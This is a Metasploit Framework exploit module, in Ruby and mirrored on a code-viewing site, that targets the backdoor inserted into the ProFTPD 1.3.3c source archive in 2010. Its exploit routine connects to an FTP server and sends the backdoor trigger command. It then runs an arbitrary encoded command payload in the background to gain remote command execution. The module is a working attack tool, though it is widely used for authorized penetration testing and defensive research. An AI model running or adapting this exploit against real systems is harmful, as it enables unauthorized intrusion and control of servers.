Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb
23771 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'ProFTPD-1.3.3c Backdoor Command Execution',
16
'Description' => %q{
17
This module exploits a malicious backdoor that was added to the
18
ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz]
19
archive between November 28th 2010 and 2nd December 2010.
20
},
21
'Author' => [ 'MC', 'darkharper2' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2010-20103' ],
25
[ 'OSVDB', '69562'],
26
[ 'BID', '45150' ]
27
],
28
'Privileged' => true,
29
'Platform' => [ 'unix' ],
30
'Arch' => ARCH_CMD,
31
'Payload' => {
32
'Space' => 2000,
33
'BadChars' => '',
34
'DisableNops' => true,
35
'Compat' =>
36
{
37
'PayloadType' => 'cmd',
38
'RequiredCmd' => 'generic perl telnet',
39
}
40
},
41
'Targets' => [
42
[ 'Automatic', {} ],
43
],
44
'DisclosureDate' => '2010-12-02',
45
'DefaultTarget' => 0,
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
54
deregister_options('FTPUSER', 'FTPPASS')
55
end
56
57
def exploit
58
connect
59
60
print_status("Sending Backdoor Command")
61
sock.put("HELP ACIDBITCHEZ\r\n")
62
63
res = sock.get_once(-1, 10)
64
65
if (res and res =~ /502/)
66
print_error("Not backdoored")
67
else
68
sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
69
handler
70
end
71
72
disconnect
73
end
74
end
75
76